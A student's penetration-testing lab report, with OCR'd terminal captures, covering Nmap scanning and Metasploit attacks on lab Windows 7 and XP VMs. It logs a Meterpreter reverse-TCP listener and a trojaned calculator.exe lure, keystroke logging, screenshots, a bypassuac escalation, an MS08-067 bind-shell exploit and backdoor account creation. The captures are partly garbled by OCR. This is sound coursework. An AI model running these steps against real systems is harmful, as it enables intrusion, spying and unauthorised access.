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1 SUMMARY


In this module I learned about computer vulnerabilities and ways to take advantage of a host’s vulnerabilities.  In order to discover what vulnerabilities a host may have, first, an Nmap scan is run. Running an Nmap scan tells you what ports are open, what services are running on those ports, and version of the services running on those ports. Next is to find exploits associated with services. This is done by using the Metasploit Framework to search for exploits and payloads that will capitalize on the vulnerability of your choosing.

	In order for an exploit to work it must have a payload added to it. An exploit by itself is just a way that the payload is delivered. This means that the payload does the actual damage to the system (in our case creating sessions that connect to the target host remotely) the exploit is just a way to get it to the target host. In Metasploit there are three types of payloads, Singles, Stagers, and Stages. Singles are payloads that are completely standalone payloads. Stagers are payloads set up a network connection between the attacker machine and the target victim. Stages are payloads components that are downloaded by Stagers modules. 

	Also in this module, we learned about a reverse shell payload. This type of payload is one that requires the attacker to set up a listener on their host. Next the victim will connect to the attacker’s listener (unknowing). Then the attacker receives a shell on the target machine. This type of attack is good when the target machine is behind a firewall and will block an attacking machine to connect to the victim. In this attack, the victim is that one who connects to the attacking machine with an outward connection, (unlike most attacks where the attacker attempts to connect to its victim).

	We also covered what an attacker could do whenever a remote connection is made to the victim. Once a session is made, the attacker is remotely connected to the victim. This means the attacker can access the victim machine as if the attacker was directly logged into the victim’s machine. Depending on the privileges that the attacker has on the victim’s machine, an attacker can do anything that they want to do. Some examples of what an attacker could do include taking a screen shot of the victim’s current desktop, logging the victim’s keystrokes, creating users for the victim’s machine, collect the host’s information to include host name, IP address etc. 



2 SCREENSHOTS



[image: ]Command:      info exploit/multi/handler



Command:      show options
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After the windows/meterpreter/reverse_tcp is added as a payload to handler
Command:   show options
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After lhost and lport are set
Command: show options
[image: ]
After I opened up an Internet Explorer browser in the Windows 7 VM and typed “http://192.168.10.13” into the browser. I clicked on the calculator.exe and clicked run. I navigated back to my attacker/ webpage host machine which is the internal Kali and this was what my command prompt looked like:
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The screenshot captured by my attacker machine of the victim’s machine current desktop.
Command:   screenshot
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A screenshot of the captured keystrokes on the victim machine.
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A screenshot of the commands I ran to open the calculator on the victim’s machine.
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Opening the screen capture of the victim’s machine from the attacker’s machine using the screenshot command as shown in the photo above.




[image: ]
















The output of 3 commands run to gather system info.
Commands:     getuid        sysinfo        getsid
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Creating a new session to the victim host with the bypassuac exploit. Then switching to the new session.
[image: ][image: ]
Command that I ran to connect to the victim’s machine remotely.
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A photo of the remote connection.
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3 EXERCIESE

Exploring other vulnerabilities and exploiting them in the Windows 7 VM
Analyze the vulnerabilities of your target Windows 7 VM (or Windows XP in the VM pool)  and try to use other exploits and payload pairs to set up a session between your attack machine and the target machine. Log the key steps and explain the possible reasons if you fail to step up the connection.  ​ (25 points)  Hint: exploit/windows/smb/ms08_067_netapi is been widely used to explore the windows samba service called ms08-67 on Windows XP. If you want to exploit Windows XP, then you need manually connect Windows XP to the pfSense LAN interface. 
Create an account with your name as account name and UIN as a password on the target machine. ​ (10 points)

[image: ]First, I ran an Nmap scan on the Windows XP host to discover open ports and services running on those ports.
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[image: ]I then set the exploit as the “exploit/windows/smb/ms08_067_netapi” and ran a “show info” to make sure this exploit works for my target host that is Windows XP. Samba runs on TCP port 139 or  445 which is shown to be open in the Nmap results in the screen shot above.


[image: ]I set the RHOST as the host I intend to connect to. I then ran a “show payloads” command to see what payloads I could use with this exploit. I chose a payload with the description of “Windows command shell, Bind TCP stager Windows x86”. I picked this payload because the Windows XP host is a 32 bit system (x86) and because “Bind” in the description means that we will connect with the target host without them needing to initial the connection. 



I then made sure that all of the required options were set and then entered “exploit” to run this exploit/payload combination.
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I then ran a few commands on the remote system to verify that I was indeed on the intended targets command prompt (ipconfig and set). 
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[image: ]I then viewed what accounts could be used to login to the machine with “net user”.
[image: ]I then added a new username and password with the command “net user /add KatelynnJohnson 01108787” and verified that this user was created by running the “net user” command again.


I then logged into the Windows XP machine with my newly created credentials. 
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nsf exploit(handler) > exploit
[*] Exploit running as background job 4.

[+] Started reverse TCP handler on 192.168.10.13:4444
nsf exploit(handler) > [*] Sending stage (179267 bytes) to 192.168.10.9
[*] Meterpreter session 1 opened (192.168.10.13:4444 -> 192.168.10.9:1040) at 2019-62-11 1

31 -0500
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meterpreter > keyscan_start

Starting the keystroke sniffer ..

neterpreter > keyscan_dunp

Dumping captured keystrokes. .

<shift>This is the <shift>nIndows 7 <shift>machine<shift>

neterpreter > keyscan_stop
Stopping the keystroke sniffer..
neterpreter >
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meterpreter > execute -f calc.exe
Process 2569 created.

neterpreter > screenshot
Screenshot saved to: /root/FaiuhnyM. jpeg

neterpreter >
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Apacher2.4.20 (Debian) Server at 192.168.10.13 Port 80
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meterpreter > getuid
Server username: WINDOWS7\Window 7

neterpreter > sysinfo

Computer WINDOWST
05 Windows 7 (Build 7600) .
Architecture  : x86

Systen Language
Domain WORKGROUP
Logged On Users : 2

Meterpreter  : x86/windows

meterpreter > getsid
Server SID: 5-1-5-21-3721098368-2898997468-1399619129-1000.
neterpreter >

en_Us
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isf exploit(bypassuac) > sessions

Active sessions

d Name Type Information Connection
1 meterpreter x86/windows WINDOWS7\Window 7 @ WINDOWS7 192.168.10.13:4444 -> 192.168.10.9:1040 (192.168.10.9)
6 meterpreter x86/windows WINDOWS7\Window 7 @ WINDONS7 192.168.10.13:4444 -> 192.168.10.9:1054 (192.168.10.9)

st exploit(bypassuac) > session -i 6
[~ nknown command: session.

nst exploit(bypassuac) > sessions -i 6
[+] Starting interaction with 6..

eterprete N
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msf exploit(bypassuac) > sessions

Active sessions

d Name Type Information Connection

1 meterpreter x86/windows WINDOWS7\Window 7 @ WINDONS7 192.168.10.13:4444 -> 192.168.10.9:1040 (192.168.10.9

msf exploit(bypassuac) > set session 1
session = 1
nsf exploit (bypassuac) > exploif

[-] Handler failed to bind to 192.168.10.
[-] Handler failed to bind to 0.0.0.0:4444;
[] UAC is Enabled, checking level

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing..
[+] Part of Administrators group! Continuing

[*] Uploaded the agent to the filesysten,
[*] Uploading the bypass UAC executable to the filesysten..

[*] Meterpreter stager executable 73802 bytes long being uploaded.

[*] Sending stage (179267 bytes) to 192.168.10.9

[*] Meterpreter session 6 opened (192.168.10.13:4444 -> 192.168.10.9:1054) at 2019-02-11 12:26:14 -0500
[-] Exploit failed [timeout-expired]: Timeout::Error execution expire

[*] Exploit completed, but no session was created
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root@cszAPentest:~# rdesktop -u BreakU -p test 192.168.10.9
Autoselected keyboard map en-us

ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized
2

Connection established using SSL
WARNING: Remote desktop does not support colour depth 24; falling back to 16
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Nmap scan report for 192.168.10.14

Host is up (0.0026s latency).

Not_shown: 65530 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
5000/tcp open upnp?
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MAC Address: 00:0C:29:01:B7:6F (VMware

Device type: general purpose

Running: Microsoft Windows 2000|XP

cpe:/o:microsoft:windows 2000::- cpe:/o:microsoft:windows 2000::spl
icrosoft:windows 2000::5p2 cpe:/o:microsoft:windows 2000::sp3 cpe:/
o:microsoft:windows 2000::5p4 cpe:/o:microsoft:windows xp::- cpe:/
o:microsoft:windows xp::spl

05 details: Microsoft Windows 2000 SP@ - SP4 or Windows XP SPO - SP1
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=132 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: 0Ss: Windows, Windows XP; CPE: cp
o:microsoft:windows_xp

0:microsof:

Host script results:
| nbstat: NetBIOS name: WINDOWSX-5A60YV, NetBIOS user: ADMINISTRATOR,
NetBIOS MAC: 00:0c:29:01:b7:6f (VMware)

| Names:
WINDOWSX-5A60YV<00> Flags: <unique><actives
WORKGROUP<00> Flags: <group><active>

|
|
| WINDOWSX-5A60YV<03> Flags: <unique-<active>
| WINDOWSX-5A60YV<20> Flags: <unique><active>
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msf > use exploit/windows/smb/ms08_067_netapi
nsf exploit(ns0s_067_netapi) > show info

Name: M08-067 Microsoft Server Service Relative Path Stack Corruptio
Module: exploit/windows/smb/ns08_067_netapi.
Platforn: Windows
Arch
Privileged:
License:
Rank:
Disclosed:

Yes
Metasploit Framework License (BSD]
Great

2008-10-28

Provided by:
hdn <xghdn. io>
Brett Moore <brett.moore@insomniasec. com
frank2 <frank2@dcodg.org>
jduck <jduck@netasploit. com>

Available targets:
d Name

0 Automatic Targeting

1 Windows 2000 Universal

2 Windows XP SPO/SP1 Universal
3 Windows 2003 SPO Universal
1
5
6

Windows XP SP2 English (Alwayson NX
Windows XP 5P2 English (NX
Windows XP SP3 English (AlwaysOn NX)
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msf exploit(ns0s 067 netapi) > set RHOST 192.168.10.14
RHOST => 192,168.10.14
msf exploit(ns0s_067_netapi) > show payloads
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msf exploit(ns0s 067 netapi) > set payload windows/shell/bind_tcp
payload = windows/shell/bind_tcp
msf exploit(ns0s_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
Current Setting Required Description

192.168.10.14  yes The target address

45 yes The SHB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/bind_tcp):

Current Setting Required Description

EXITFUNC ~ thread ves Exit technique (Accepted:

"', seh, thread, process, none)
LPORT 4444 yes The Listen port
RHOST  192.168.10.14  no The target address

Exploit target:

Id Name

0 Automatic Targeting
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msf exploit(ms0s_067_netapi) > exploit
[*] Started bind handler

[*] 192.168.10.14:445 - Automatically detecting the target...

[*] 192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:English

[*] 192.168.10.14:445 - Selected Target: Windows XP SPO/SP1 Universal

[*] 192.168.10.14:445 - Attempting to trigger the vulnerability...

[*] Encoded stage with x86/shikata_ga nai

[*] Sending encoded stage (267 bytes) to 192.168.10.14

[*] Command shell session 2 opened (192.168.10.13:34811 -> 192,168.10.14:4444) at 2019-62-18 12:17:54 -0500

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
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C:\WINDOWS\systen32>ipconfig
ipcontig

Windows TP Configuration

Ethernet adapter Local Area Connection:

Connection-specific NS Suffix . : localdomain
1P Address | R I 192.168.10.14
Subnet Mask . . . . .. ... .. 255.255.255.0
Default Gateway . . . . . . .. .:
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C:\WINDOWS\system32>set
set
ALLUSERSPROFILE=C:\Documents and Settings\ALL Users
ComonProgranFiles=C:\Progran Files\Conmon Files
COMPUTERNAME=WINDOWSX-5AGOYV.
ComSpec=C: \WINDOWS\systen32\cnd. exe
NUMBER_OF PROCESSORS=1
0s=indows _NT
Path=C: \WINDOWS\ system32; C: \WINDOWS ;C: \WINDOWS\Systen32\bem
PATHEXT=. COM; .EXE; .BAT; .CMD; .VBS; .VBE; .5; .JSE; .WSF; .WSH
PROCESSOR_ARCHTTECTURE=XB6
PROCESSOR_TDENTIFIER=xB6 Family 6 Model 10 Stepping 4, GenuineIntel
PROCESSOR LEVEL=6
PROCESSOR_REVISION-0204
ProgranFiles=C:\Progran Files
PROMPT=$P5G
SystenDrive=C:
SystenRoot=C: \WINDOWS
TEMP=C: \WINDOWS\ TEMP
THP=C: \WINDOWS\ TEMP
:\WINDOWS \systen32\config\systemprofile
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C:\WINDOWS>net user
net user

User accounts for \\

Adninistrator Guest HelpAssistant
SUPPORT 38894530
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C:\WINDOWS>net user /add KatelynnJohnson 61108787
net user /add Katelynniohnson 01108787
The comand completed successfully.

C:\WINDOWS>net user
net user

User accounts for \

Adninistrator Guest HelpAssistant
 SUPPORT 38894520
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Administrator

2 programs running.

KatelynnJohnson

1 program running.
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nsf > info exploit/multi/handler

Name: Generic Payload Handler
Module: exploit/multi/handler
Platform: Android, BSD, Java, Javascript, Linux, OSX, NodeJS, PHP, Python, Ruby, Solaris, Unix, Windows,
Mainfrane, Multi
Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mipsed, mipse4le, ppc, ppcesodv2, ppcéd, ppcsdle, chea
cbea6d, sparc, sparcéd, armle, armbe, aarched, cnd, php, tty, java, ruby, dalvik, python, nodejs, Firefox,
zarch,
Privileged: No
License: Metasploit Framework License (BSD
Rank: Manual

Provided by:
hdn <xhdn. io>
beook-r7

Available targets:
d Name

0 Wildcard Target

Payload information:
Space: 10900000
Avoid: 0 characters

Description:
This module is a stub that provides all of the features of the
Metasploit payload system to exploits that have been launcher
outside of the framework.
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msf exploit(handler) > show options

Module options (exploit/multi/handler) :

Nane Current Setting Required Description

Exploit target:

1d Name

0 Wildcard Target

nsf exploit(handler) >
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msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload = windows/meterpreter/reverse.tcp

nsf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse tcp):

Nane  Current Setting Required

EXITFUNC process
LHoST
LPORT 4444

Exploit target:
d Name

0 Wildcard Target

yes
yes
yes

Description
Exit technique (Accepted:
The listen address

The Tisten port

, seh, thread, process, none)
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msf exploit(handler) > set lhost 192.168.10.13
lhost => 192.168.10.13

nsf exploit(handler) > set lport 4444

lport => 4444

msf exploit(handler) > show options

Module options (exploit/multi/handler) :

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Nane Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: ', seh, thread, process, none)
LHOST  192.168.10.13  yes The listen address

LPORT 4444 yes The Tisten port

Exploit target:

1d Name

0 Wildcard Target




